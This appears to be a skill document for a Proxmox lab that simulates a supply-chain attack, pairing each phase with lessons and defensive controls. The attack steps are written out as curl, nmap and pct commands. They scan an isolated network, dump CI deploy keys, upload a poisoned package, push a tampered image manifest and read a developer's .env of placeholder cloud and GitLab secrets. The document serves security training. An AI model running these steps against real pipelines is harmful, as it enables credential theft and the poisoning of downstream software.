supply-chain-attack-lab

name	supply-chain-attack-lab
description	Full supply-chain attack simulation — initial compromise, dependency poisoning, artifact tampering, dev secrets exfiltration. Covers Proxmox container lab setup and multi-phase attack chain with real-world parallels (SolarWinds, CodeCov, 3CX, LastPass).

Supply Chain Attack Lab

End-to-end supply-chain attack simulation. From a leaked credential on an unrelated host, through dependency poisoning and artifact tampering, to production deployment compromise. Contains both lab deployment and attack execution.

Lab Architecture

  vmbr0 (192.168.8.0/24)              vmbr1 (10.66.0.0/24) — ISOLATED
  ════════════════════════              ═══════════════════════════

  victim-web (500)                     sc-ci-runner (310)     10.66.0.10
  ┌──────────────────┐                 ┌────────────────────────┐
  │ 192.168.8.50     │                 │ :9000 CI webhook       │
  │ .env.bak exposed │                 │ Build DB (SQLite)      │
  │ admin panel      │                 │ Deploy keys leaked     │
  │ SSH private key  │                 └────────────────────────┘
  │ weak passwords   │                          │
  └──────────────────┘                          │ pulls deps
          │                                     ▼
          │ leaked cred                    sc-dep-proxy (311)     10.66.0.11
          │ admin:SuperSecretDB2026!       ┌────────────────────────┐
          │ points to 10.66.0.10           │ :8888 Internal PyPI    │
          ▼                                │ internal-lib v1.0.0    │
    [attacker pivots]                      │ company-auth v2.3.1    │
                                           └────────────────────────┘
                                                    │
                                                    │ CI pushes builds
                                                    ▼
                                           sc-artifact-reg (312)  10.66.0.12
                                           ┌────────────────────────┐
                                           │ :5000 Docker Registry  │
                                           │ internal-api:v1.2.3    │
                                           │ auth-service:v2.1.0    │
                                           │ frontend:v4.0.1        │
                                           └────────────────────────┘
                                                    │
                                                    │ deploys to
                                                    ▼
                                              PRODUCTION
                                           (us-east-1, eu-west-1,
                                            us-west-2)

  sc-dev-workstn (313)  10.66.0.13         sc-attacker (320)  10.66.0.20
  ┌────────────────────────┐               ┌────────────────────────┐
  │ .env → AWS keys        │               │ Dual-homed (vmbr0+1)   │
  │ api.py → hardcoded DB  │               │ nmap, curl, mysql      │
  │ git repo with secrets  │               │ Attack pivot point     │
  └────────────────────────┘               └────────────────────────┘

Attack Phases

Phase 1: Initial Compromise

The entry point is a single exposed file on an unrelated web server.

victim-web (192.168.8.50)
└── /.env.bak → db_host=10.66.0.10
                 db_user=app_user
                 db_pass=Str0ngDBP@ss!
                 api_key=sk-live-3f7a2b91c8d4e5f6

This reveals the existence of an internal network at 10.66.0.0/24 and credentials pointing to 10.66.0.10.

Lesson: Configuration files in web roots are catastrophic. One .env.bak exposes the entire internal network topology.

Phase 2: Internal Recon

Once pivoted onto the internal network (via sc-attacker's dual-homed interface):

# Scan the internal network from sc-attacker
nmap -sV -T5 -p 3306,5000,8888,9000 10.66.0.10-13

# Results:
# 10.66.0.10:9000 — CI Runner (Python HTTP)
# 10.66.0.11:8888 — Dependency Proxy (Python HTTP)
# 10.66.0.12:5000 — Artifact Registry (Python HTTP)
# 10.66.0.13:22    — Dev Workstation (SSH)

Lesson: Internal services often have NO authentication. The assumption is "nobody can reach this network."

Phase 3: CI Runner Enumeration

curl http://10.66.0.10:9000/
→ Leaks all deploy keys and deployment targets:
  DEPLOY_KEY_XyZ-987654 → prod-us-east-1
  DEPLOY_KEY_AbC-123456 → prod-eu-west-1
  DEPLOY_KEY_PqR-456789 → prod-us-west-2

The CI runner exposes its entire build history, including secrets, over an unauthenticated HTTP endpoint.

Lesson: CI/CD systems are Tier-1 targets. They contain the keys to production. Protect them like production.

Phase 4: Dependency Poisoning

# Replace legitimate package with malicious version
POST http://10.66.0.11:8888/upload
  {"name": "internal-lib", "version": "9.9.9"}
→ Server accepts. Next CI build pulls poisoned package.

The internal PyPI proxy has no authentication on uploads. An attacker who reaches the network can replace any package.

Real-world parallel: CodeCov (2021) — attackers modified the bash uploader script that thousands of CI pipelines pulled on every run. SolarWinds (2020) — attackers injected malicious code into a DLL that was signed and distributed to 18,000 customers.

Lesson: Dependency proxies and package registries must authenticate all uploads. A compromised proxy poisons every downstream consumer.

Phase 5: Artifact Registry Tampering

# Push backdoored image
PUT http://10.66.0.12:5000/v2/internal-api/manifests/v9.9.9
→ Registry accepts. Production pulls backdoored image on next deploy.

The Docker registry has no authentication. Any image can be pushed. When production's deployment pipeline pulls the latest tag, it gets the attacker's image.

Real-world parallel: 3CX (2023) — attackers trojanized the desktop application. Every customer who downloaded the update was compromised. The attack went through the software supply chain.

Lesson: Container registries must require authentication for push operations. Image signing (Cosign/Notary) prevents tampering even if the registry is compromised.

Phase 6: Developer Secrets Exfiltration

# Read developer workstation files
cat /home/dev/projects/internal-api/.env
→ AWS_ACCESS_KEY_ID=AKIA1234567890ABCDEF
→ AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
→ GITLAB_TOKEN=glpat-abcdef1234567890
→ CI_REGISTRY_PASSWORD=r3g1stry-p@ssw0rd!
→ DATABASE_URL=mysql://admin:SuperSecretDB2026!@10.66.0.10:3306/ci_pipeline

And in api.py:

DB_USER = "admin"
DB_PASS = "SuperSecretDB2026!"
DB_HOST = "10.66.0.10"
DEPLOY_KEY = "DEPLOY_KEY_XyZ-987654"

The developer committed secrets into source code and stored .env files in the project directory.

Real-world parallel: LastPass (2022) — attackers compromised a developer's workstation through a vulnerable Plex server. From there, they accessed source code, credentials, and eventually customer vault metadata.

Lesson: Developer workstations are the softest target in the supply chain. One compromised dev machine can leak every production secret.

The Complete Kill Chain

victim-web .env.bak
       │
       ▼  admin:SuperSecretDB2026!
10.66.0.10 (CI Runner)
       │
       ├──→ Leaks 3 deploy keys (prod-us-east-1, eu-west-1, us-west-2)
       │
       └──→ Identifies dep-proxy (10.66.0.11) as build dependency source
               │
               ▼  POST /upload → poisoned internal-lib v9.9.9
      10.66.0.11 (Dep Proxy)
               │
               │  CI build pulls poisoned dep → builds backdoored binary
               │
               ▼  PUT /v2/internal-api/manifests/v9.9.9
      10.66.0.12 (Artifact Registry)
               │
               │  Production pipeline pulls latest tag
               ▼
          PRODUCTION
       (us-east-1, eu-west-1, us-west-2)
               │
               ▼  Exfiltrated from dev workstation:
      10.66.0.13      AWS keys, GitLab token, DB password

Real-World Attack Parallels

Attack	Year	Our Lab Equivalent
SolarWinds — build server compromise, signed malicious DLL	CI runner → artifact registry → production pull
CodeCov — poisoned bash uploader, thousands of CI pipelines affected	Dep proxy: upload malicious package → CI pulls it
3CX — trojanized desktop app via update mechanism	Registry: push backdoored image → production deploys it
LastPass — developer workstation compromise → source code leak	Dev WS: .env + hardcoded secrets → AWS/GitLab tokens
Dependency Confusion — public package with internal name	Dep proxy: anonymous upload → overwrite internal package
CircleCI — CI runner credential theft via malware	CI runner: unauthenticated API leaks all deploy keys

Defensive Controls

For each phase, here's what should have stopped the attack:

Phase	Attack	Control That Would Have Stopped It
1	.env.bak exposed on web root	Web server config: deny *.bak, *.env, *.git
2	Internal network pivot	Network segmentation with firewall between vmbr0/vmbr1
3	CI runner leaks deploy keys	API authentication required; secrets in vault, not DB
4	Dependency poisoning	Dep proxy requires authentication for upload + package signing
5	Registry tampering	Registry requires auth for push + Cosign image signing
6	Dev secrets exfiltration	.env in .gitignore; secrets in vault; pre-commit hooks

Lab Deployment

All services use Python 3 stdlib only — zero package installs needed.

Prerequisites

• Proxmox VE 8.x/9.x with LXC containers
• Ubuntu 24.04 container templates
• sc-* containers (310-320) already provisioned

Start the Lab

# From Proxmox host
pct start 310 311 312 313 320

# Deploy services (systemd units that survive reboots)
# See scripts/deploy-sc-lab.sh in this skill

# Verify
ss -tlnp  # Check ports 9000, 8888, 5000 on respective containers

Attack from sc-attacker

# 1. Recon
nmap -sV -T5 10.66.0.10-13

# 2. Dump CI runner secrets
curl http://10.66.0.10:9000/

# 3. Poison a dependency
curl -X POST http://10.66.0.11:8888/upload \
  -H "Content-Type: application/json" \
  -d '{"name":"internal-lib","version":"9.9.9"}'

# 4. Push backdoored image
curl -X PUT http://10.66.0.12:5000/v2/internal-api/manifests/v9.9.9

# 5. Read dev secrets (via Proxmox host)
pct exec 313 -- cat /home/dev/projects/internal-api/.env

Key Takeaways

1. The weakest link defines the chain. One exposed .env.bak on an unrelated server was enough to compromise the entire software delivery pipeline.

2. Internal networks are not security boundaries. Every service on 10.66.0.0/24 had zero authentication because "nobody can reach it." The attacker reached it.

3. CI/CD is production. The CI runner held deploy keys to 3 production regions. It should be protected at the same level as production. Compromising CI means compromising production.

4. Dependencies are transitive trust. Poisoning one internal library (internal-lib) at the proxy affected every project that depended on it. The blast radius of a dependency attack is the entire dependency graph.

5. Developer workstations are the new perimeter. They hold .env files, SSH keys, AWS credentials, GitLab tokens. One compromised dev machine leaks everything.

6. Supply chain attacks are force multipliers. One initial compromise → 3 production regions, unlimited dependencies, every downstream consumer. Traditional perimeter defense doesn't stop this.

Related Skills

• proxmox-pentesting — Proxmox hypervisor pentesting
• exploiting-api-injection-vulnerabilities — API injection testing
• testing-for-sensitive-data-exposure — Finding exposed secrets
• conducting-internal-network-penetration-test — Internal pivot techniques
• analyzing-sbom-for-supply-chain-vulnerabilities — SBOM analysis